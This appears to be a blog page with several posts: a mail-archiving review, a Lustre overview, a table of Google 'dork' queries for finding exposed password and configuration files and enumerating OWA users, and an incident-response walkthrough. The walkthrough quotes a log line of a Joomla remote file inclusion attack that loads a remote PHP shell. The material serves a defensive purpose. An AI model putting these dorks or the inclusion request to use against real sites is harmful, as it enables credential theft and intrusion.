OpenSource Mail Archiving

Hey everyone. I ran across a new open-source application called Mailarchiva. This software allows you to archive all of your email for long term storage. This software is easy to install and seems to be very efficient. The company claimed that the open source edition with a decent server (Dual Xeons and sufficient RAM) could archive 1,400,000 messages per day. I was very impressed with their performance claims.

image Mailarchiva provides full-text searching. The enterprise edition will allow for clustering search servers if your archive is significantly large. One main feature missing was the ability to rotate to long term storage such as a tape device. Although disk storage is becoming cheaper and cheaper; a long term storage solution almost always is needed.

Check out MailArchiva here and download the open-source version today. MailArchiva integrates with Exchange 2003, 2007, IpSwitch Imail, Postfix, sendmail, qmail, exim and more!

Wargling (War Googling) Search Terms

Here’s a quick reference for wargling or war-googling. These search terms can be used to provide extra information on sites which may have security issues or to provide extra information on which domains have a certain string in URL’s indexed by Google.

Google Search Term

Wargling Search String

Find similar domains related:<domain|host>
Passwords "index of" passwd.txt
"index of" etc passwd
Include files include
include config.php
XML resources "index of" wsdl
Enumerate OWA users inurl:exchange inurl:finduser inurl:root
Poor information management "internal use only"
Basic searches "password hint"
"password hint -email"
"show password hint -email"
bb4 conn
Find specific files filetype:<type>
type such as .htaccess, .xls, .doc
Find matches in URL inurl<token>
allinurl:<token> [token]
Find information about domain info:<domain|host>
Find links to domain link:<domain|host>


The above information is not provided for malicious purposes. Please use the information above to assure you’re not leaking information at your business.

To Cluster with Lustre … or not?

Recently I was tasked with investigating the feasibility of using Lustre (a clustered file system typically used in supercomputing environments) for a solution at my employer. Essentially this system requires a few high-end components to achieve considerable throughput. I’ll attempt to outline the pros and cons to using Lustre in a production environment.

image Lustre started as a cluster-aware file system originally designed by Cluster File Systems, Inc. and was recently acquired by Sun Microsystems. Lustre was designed to be a highly-scalable, high performance file system/cluster solution. The system consists of a few key components at its core.

Picking a clustering file system such as Lustre obviously has to be out of need. These systems, inherently, are more complex and can be prone to failure for that reason. Using Lustre makes sense if you’re looking for a scalable storage solution which can expand over thousands of nodes for storage. High performance must be in mind as well. Most business problems do not need a solution of this magnitude. I guess now would be a good time to cover the terminology used with Lustre.


Lustre has some key terms we’ll need to know while reading this short paper.

  • MGS – Management Server (there is one management server per site, this server contains all configuration detail for all Lustre clusters at a site)
  • MDT – Meta Data Target (this server [or pair of servers] stores all meta data needed for where files are stored)
  • OST – Object Storage Target (this is where the data is actually stored and striped across)
  • Lustre Clients (these clients are typically *nix variants)

Now that we have the terminology out of the way I’ll describe how it works (just a high-level overview).

We’ve reviewed the components of the Lustre configuration above. A Lustre MGS stores all configuration data needed for a site. The MDT stores all the meta data needed for where the files are located (pointers to OST’s) and the OST’s have the physical storage needed for object (file) storage.

A key benefit is scalability and performance. Performance is achieved by striping data across all available OST containers. This is what makes Lustre shine. Consequently you’ll need equipment to support that level of speed.

Lustre uses its own network drivers to facilitate network communication between nodes. Currently Lustre supports TCP.IP, Elan, InfiniBand, myrinet and others.


Here is where most decisions are made. I suppose Lustre on a 1G network would perform (granted your switching backplane is great) but it also depends on how many clients you have accessing this array of machines. It’s recommended to use a higher-speed communication medium such as 10G or InfiniBand.

The bottom line

The bottom line is very simple. If you need a system which is highly scalable, high performance and very reliable pick Lustre. Remember to gain any considerable speed you will need considerable investments in the network arena. Lustre is not a widely deployed solution in most hosting enterprises but could serve as a good storage back end solution for a cluster of web servers (since Lustre supports reading and writing the same file at the same time from different machines).

* Image provided by Cluster File Systems, Inc.

Tracking down h4X0rZ

This is a quick and dirty document on how to troubleshoot h4xed l00nix boxen.

The scenario is as follows:
Received reports from outside ISPs of an attempted DDoS attack on an IP address in their netblock. After closer investigation this machine had a few rogue processes noticed by issuing “ps auxww”. These commands were listed as “/usr/sbin/httpd” and not the full path to the normal httpd binary on that system. The ps name was forged. After catting “/proc/<pid>/status” I could see that the process running was actually perl. Luckily this particular attack was not a root-level attack. If you suspect a root-level hack please make sure to download a utility like rkhunter to perform a quick and easy scan of the entire system for possible root kits. Also make sure to download staticly-linked binaries of ls, ps, pstree, and strace if you suspect root-level hacking. Hackers usually replace these files to obfuscate their rogue processes and files.

Troubleshooting Steps:

  1. ps auxww (showing all processes)
  2. top (to analyze possible high-load processes)
  3. netstat -tupan | grep <pid> (to see if we can find out if the PID is listening)
  4. strace -p <pid> (to watch what the process is actually doing)
    ioctl(3, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbfffb8a8) = -1 EINVAL (Invalid
    _llseek(3, 0, 0xbfffb8e0, SEEK_CUR)     = -1 ESPIPE (Illegal seek)
    ioctl(3, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbfffb8a8) = -1 EINVAL (Invalid
    _llseek(3, 0, 0xbfffb8e0, SEEK_CUR)     = -1 ESPIPE (Illegal seek)
    fcntl64(3, F_SETFD, FD_CLOEXEC)         = 0
    connect(3, {sa_family=AF_INET, sin_port=htons(23), sin_addr=inet_addr
    ("")}, 16) = -1 ECONNREFUSED (Connection refused)
  5. Reading above shows that we were trying to connect outbound to “inet_addr” on port 23. This happened over and over again. This was apparently part of a DDoS. This script is not your normal script.
  6. lsof -p <pid> (this might be helpful to see what files the pid has open)
  7. cat /proc/<pid>/status to see other useful information. Also check /proc/<pid>/cwd to see if the process will give away it’s working directory.
  8. find / -gid <gid of httpd> > /root/apachefiles.txt (I suspected the file was written out from the httpd user so it’s somewhere on the file system)
  9. Download MemGrep

    Memgrep allows you to view memory addresses and view/search contents at that memory address.

    First download, compile and then make. Run memgrep as follows:

    # ./memgrep -p <pid> -L

    Then run memgrep to dump all information from the data (and even the text memory area if necessary) with this command:

    # ./memgrep -p <pid> -d -a <memory address> -l <size in bytes to dump(listed to the right of the mem address)>

    Sometimes this will yeild the hax0r’s name or type of hack.

  10. Check your httpd logs. Most common exploits for PHP scripts are automated (watch out for Mambo and Joomla components!) Most requests come from an agent called libwww-perl. Joomla and Mambo components are usually subject to remote inclusion vulnerabilities. Look for “mosConfig_absolute_path=” in your logs.

    Here’s a sample: - - [07/Jun/2007:11:34:38 -0500] "GET /index.php?option=
    s/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path=http://al HTTP/1.1" 200 14130 "-" "libwww-perl/5.805"
  11. r57.txt is a phpshell script. Once they load the URI above they have access to phpshell where they can read/write/modify and delete any file with permissions for the httpd UID/GID.
  12. Rectify the situation by disabling that component and searching for an upgrade.